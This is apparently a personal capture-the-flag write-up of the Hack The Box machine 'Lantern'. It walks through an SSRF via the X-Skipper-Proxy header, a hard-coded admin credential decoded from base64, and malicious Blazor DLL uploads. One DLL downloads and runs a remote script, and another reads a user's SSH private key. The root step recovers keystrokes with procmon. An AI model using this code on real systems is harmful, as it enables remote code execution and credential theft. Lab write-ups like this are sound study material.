Lantern

Recon

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 07:43 UTC
Nmap scan report for lantern.htb (10.129.160.228)
Host is up (0.033s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Skipper Proxy
|_http-title: Lantern
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 20 Aug 2024 07:43:22 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 20 Aug 2024 07:43:16 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 20 Aug 2024 07:43:16 GMT
|_    Server: Skipper Proxy
|_http-server-header: Skipper Proxy
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Tue, 20 Aug 2024 07:43:21 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 20 Aug 2024 07:43:26 GMT
|     Server: Kestrel
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 20 Aug 2024 07:43:21 GMT
|     Server: Kestrel
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 20 Aug 2024 07:43:26 GMT
|     Server: Kestrel
|   SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 20 Aug 2024 07:43:41 GMT
|_    Server: Kestrel

This site seems to loose access to the server and then attempts to reconnect to it 8 times, after user presses “reconnect”.

we cannot do a GET, but we can do a POST.

Using burp to see the requests being sent to the sites, we can always see “blazor”.
{"protocol":"blazorpack","version":1}

https://en.wikipedia.org/wiki/Blazor
https://sensepost.com/blog/2023/decoding-blazorpack/
https://learn.microsoft.com/en-us/aspnet/core/blazor/security/server/interactive-server-side-rendering?view=aspnetcore-6.0

Watching how the site reconnects to the server, we can see http://lantern.htb:3000/_blazor domain.
I have no idea whatsoever how does blazor works and if its possible to abuse, so Ive started reading all of the requests and learn about it.
We are sending also an ID param to the server.

GET /_blazor?id=cIma7InDfGqYfwz3dMu1vg HTTP/1.1
Host: lantern.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: http://lantern.htb:3000
Sec-WebSocket-Key: 4Q64irlUUpSQ/YP3NR4j3Q==
DNT: 1
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

We can negotiate version of protocol.

POST /_blazor/negotiate?negotiateVersion=0 HTTP/1.1
Host: lantern.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://lantern.htb:3000/login
Content-Type: text/plain;charset=UTF-8
X-Requested-With: XMLHttpRequest
X-SignalR-User-Agent: Microsoft SignalR/0.0 (0.0.0-DEV_BUILD; Unknown OS; Browser; Unknown Runtime Version)
Content-Length: 0
Origin: http://lantern.htb:3000
DNT: 1
Connection: close
Sec-GPC: 1
Priority: u=4
Cache-Control: max-age=0

Searching for it on the net gives us some interesiting results. Unfortunetly, we would need to be logged in first.
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36558

When running ffuf on 3000, we can find /error

──╼ $ffuf -u http://lantern.htb:3000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fr "An unhandled exception has occurred. See browser dev tools for details."

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lantern.htb:3000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: An unhandled exception has occurred. See browser dev tools for details.
________________________________________________

error                   [Status: 200, Size: 1490, Words: 340, Lines: 38, Duration: 54ms]
Error                   [Status: 200, Size: 1490, Words: 340, Lines: 38, Duration: 36ms]
:: Progress: [220560/220560] :: Job [1/1] :: 1197 req/sec :: Duration: [0:03:20] :: Errors: 0 ::
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>Error</title>
    <link href="/css/bootstrap/bootstrap.min.css" rel="stylesheet" />
    <link href="/css/site.css" rel="stylesheet" asp-append-version="true" />
</head>

<body>
    <div class="main">
        <div class="content px-4">
            <h1 class="text-danger">Error.</h1>
            <h2 class="text-danger">An error occurred while processing your request.</h2>

                <p>
                    <strong>Request ID:</strong> <code>00-a99436d6b147390deef553662e2d4c26-2aea39b60a24c80f-00</code>
                </p>

            <h3>Development Mode</h3>
            <p>
                Swapping to the <strong>Development</strong> environment displays detailed information about the error that occurred.
            </p>
            <p>
                <strong>The Development environment shouldn't be enabled for deployed applications.</strong>
                It can result in displaying sensitive information from exceptions to end users.
                For local debugging, enable the <strong>Development</strong> environment by setting the <strong>ASPNETCORE_ENVIRONMENT</strong> environment variable to <strong>Development</strong>
                and restarting the app.
            </p>
        </div>
    </div>
</body>

</html>

CVE-2022-38580

I was lost and asked for a hint on the official htb server. What I got from user 4wayhandshake was:

SSRF can take many different forms. If the SSRF is in the web app itself, you might see it result from a text input, or some kind of thing where you enter a URL or filepath maybe.
But what if the SSRF isn’t due to the web app at all? If the SSRF vulnerability is in the server, well maybe the way to access the SSRF is through the HTTP protocol itself 😃

So I looked back at the nmap scan and realized that I was blind. I got back to the /vacancies submit pannel and got to work.

Looking at nmap scan, we can that it is a “80/tcp open http Skipper Proxy”. Looking on it online, we can find. https://www.exploit-db.com/exploits/51111. Worth trying for sure.

Looking at the blazor documentation, it seems that files are in /_framework/ directory and it should have some dll files. I looked for dll files that are typicaly in blazor projects and tried to find ports that are open and serving this file on Burp Suite Intruder.

GET /_framework/Microsoft.Extensions.DependencyInjection.dll HTTP/1.1
Host: lantern.htb
X-Skipper-Proxy: http://127.0.0.1:§port§
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Connection: close

I did not know how to progress further, but reading more on the microsoft learn site, I found out that there is a blazor.boot.json file that should list all of the dlls.

It does exist on this server and tells us about InternaLantern.dll file.

We can run curl to grab it.

curl -o InternaLantern.dll http://10.129.171.126/_framework/InternaLantern.dll -H "Host: 10.129.171.126" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" -H "X-Skipper-Proxy: http://localhost:5000" -H "Connection: close"

I installed windows VM and downloaded JetBrains DotPeek, so I could analyze this file.
The first find was in “SqLiteFilename” and we learn that the SQLDB filename is Data.db.

Then I got stuck again for a longer while, but continued to read everything that was in this dll.
Finally, I decided to decode the base64 encoded strings in IntenaLantern > InternaLantern.Pages > Internal.
Decoding the last base64 U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE gives us System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

We are in!

Admin panel

We got here another upload option, probably our in once again.
Exploring the website further, choosing module that does not exist it gives us a info, that its executing modules from /opt/components.

Now we have to try to understand how the upload works.

Its again some blazor fun. This time I found out about a blazor addon for burp, that can be used to decode this gibberish. I created a malicious dll file using chat gpt and prayed that it works, as I never did anything similar to this.

using System;
using System.IO;
using System.Net.Http;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Components;

namespace YourNamespace.Components
{
    public class DownloadAndExecuteComponent : ComponentBase
    {
        [Inject] private IHttpClientFactory HttpClientFactory { get; set; }

        protected override async void OnInitialized()
        {
            await DownloadAndExecuteScript();
        }

        private async Task DownloadAndExecuteScript()
        {
            try
            {
                var httpClient = HttpClientFactory.CreateClient();

                // Replace with your actual URL
                var scriptUrl = "https://example.com/path/to/your/script.sh";
                var scriptContent = await httpClient.GetStringAsync(scriptUrl);

                var scriptPath = "/tmp/script.sh";
                await File.WriteAllTextAsync(scriptPath, scriptContent);

                // Set chmod 777
                var chmodProcess = System.Diagnostics.Process.Start("chmod", $"777 {scriptPath}");
                chmodProcess.WaitForExit();

                // Execute the script
                var executeProcess = System.Diagnostics.Process.Start("/bin/bash", scriptPath);
                executeProcess.WaitForExit();

                Console.WriteLine("Script executed successfully!");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"An error occurred: {ex.Message}");
            }
        }
    }
}

https://portswigger.net/bappstore/8a87b0d9654944ccbdf6ae8bdd18e1d4

Changing the file name to do path traversal works, but I had some errors with my DLL file.

At least I knew that it was there. It took me about ~5 minutes to realize that I am a moron and did not compile the file.

Chat-gpt for the win again:

dotnet new classlib -n MyBlazorComponentLibrary
cd MyBlazorComponentLibrary
dotnet add package Microsoft.AspNetCore.Components
dotnet add package Microsoft.Extensions.Http
dotnet build --configuration Release

At least we know that there is user thomas now. I tried to create a simple DLL to just get back hello, but still got the same error.

An error occured in /home/tomas/LanternAdmin/bin/Debug/net6.0/LanternAdmin.dll:
Can not find a type of 'hi.Component, hi' in /opt/components/hi.dll

Couldnt get it to work and did not know if the problem was in code or in project config.

using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;

namespace exploitProj
{
    public class Component : ComponentBase
    {
        protected override void BuildRenderTree(RenderTreeBuilder builder)
        {
            base.BuildRenderTree(builder);
            string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
            builder.AddContent(0, file);
        }
    }
}
An error occured in /home/tomas/LanternAdmin/bin/Debug/net6.0/LanternAdmin.dll:
Can not find a type of '1.Component, 1' in /opt/components/1.dll

Testing further, I realized that I cannot change the .dll filen name. Also, I started getting new errors.

After more hours of trial and error I somehow got it to work, god knows how. Got ssh for tomas.

Priv Esc

Back to the usual stuff, linenum scan. It gets us:

[+] We can sudo without supplying a password!
Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon

This surely will be used to get root.
https://en.wikipedia.org/wiki/Process_Monitor
More windows-on-linux stuff, great.

Did not find anything new with linpeas_fat. I continued searching through everything that was accessible on this server. I’ve run pspy to see if there is anything going on and found:

2024/08/23 17:03:20 CMD: UID=0     PID=35858  | nano /root/automation.sh 
2024/08/23 17:03:20 CMD: UID=0     PID=35857  | /usr/bin/expect -f /root/bot.exp 

I’ve read up more on procmon and tried to find if I could somehow manipulate automation.sh. I did not find such option, but read that it is possible to export process. I found the process, did F6 and got a .db file. Downlaoding it using scp and checked using file what format is it.

sudo /usr/bin/procmon -p 35858 -e write
data.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 5, database pages 4, cookie 0x5, schema 4, UTF-8, version-valid-for 5
sqlite> .tables
ebpf      metadata  stats   

It turns out eBPF stands for Extended Berkeley Packet Filter.

sqlite> SELECT * FROM ebpf;
12628|140492766296199$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|6|63158069590029|write|11962|
12628|140492766296199$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|63158069590029|write|34855|
12628|140492766296199$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|63158069590029|write|99446|
12628|140492766296199$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|63158069590029|write|104356|
...

We can see many blobs. Too many and that is a problem.
I had no idea how to get data from it, I tried converting it to other formats, somehow getting bpftrace on it.
I was trying to get a query to extract data and after a while and talking to chatgpt I got this:

.output out.txt
SELECT hex(substr(arguments, 9, resultcode))
FROM ebpf
WHERE resultcode > 0
ORDER BY timestamp;

I tried converting it from hex to text.

printf "%s" "$(cat hexfile.txt)" | xxd -r -p > binaryfile.bin
cat binaryfile.bin

e
�����┌─[user@parrot]─[~/Desktop]s uuddoo . //bbaacckkuupp..sshh

That’s strange. Maybe I didnt catch everything that I should, so I run procmon again, this time for longer.

Meanwhile I decided to check in cyberchef if there is anything I can do with it. Running From hex got me:

I tried it out and the password worked. I dont understand why my previous atempt didnt work, but at last I got the password. Took only ~4 days, good way to start with hard boxes.